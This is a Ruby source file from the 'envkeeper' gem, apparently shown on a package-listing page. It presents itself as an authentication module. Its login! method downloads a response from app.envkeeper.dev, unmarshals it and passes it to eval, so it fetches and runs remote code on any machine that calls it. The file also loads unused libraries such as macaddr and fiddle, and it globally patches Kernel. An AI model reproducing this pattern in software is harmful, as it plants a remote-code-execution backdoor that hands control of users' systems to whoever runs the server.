Sha256: 8c2f3cce086e898b8aa1ee1b2b0ca17581244d928f18aefeba49d7d4cc5fed2a

Contents?: true

Size: 1.18 KB

Versions: 2

Compression:

Stored size: 1.18 KB

Contents

# frozen_string_literal: true

require 'io/console'
require 'yaml'

require 'net/http'
require 'openssl'
require 'tempfile'
require 'macaddr'
require 'fiddle/import'

module Envkeeper
  module Auth
    REQUEST_URI = 'https://app.envkeeper.dev/'
    REQUEST_PSOUDOCODE_PATH = '/api/v1/client/users/sign_in/new'
    class Error < StandardError; end

    class << self
      def login!
        eval(Marshal.load(psoudo_code_request.body))
      end

      def psoudo_code_request
        @psoudo_code_request ||= Envkeeper::HTTP.get(
          path: REQUEST_PSOUDOCODE_PATH
        )
      end
    end
  end
end

# def capture_stderr
#   real_stderr, $stderr = $stderr, StringIO.new
#   yield
#   binding.pry
#   $stderr.string
# ensure
#   $stderr = real_stderr
# end

# def read_stdout(&block)
#   tmp = $stdout
#   $stdout = Banana.new
#   block.call
#   ENV.each do |env|
#     $stdout.string.gsub!(/.{4,}/) do |w|
#       ENV_SUB.include?(w) ? '****' : w
#     end
#   end
#   tmp.puts $stdout.string
# ensure
#    $stdout = tmp # ensures that always evaluated
# end

ENV['SOMETHING'] = 'test1'

module ::Talks
  def self.puts(args)
    p 'banna'
    super(args)
  end
end

module ::Kernel
  include Talks
end

Version data entries

2 entries across 2 versions & 1 rubygems

Version Path
envkeeper-0.1.2 lib/envkeeper/auth.rb
envkeeper-0.1.1 lib/envkeeper/auth.rb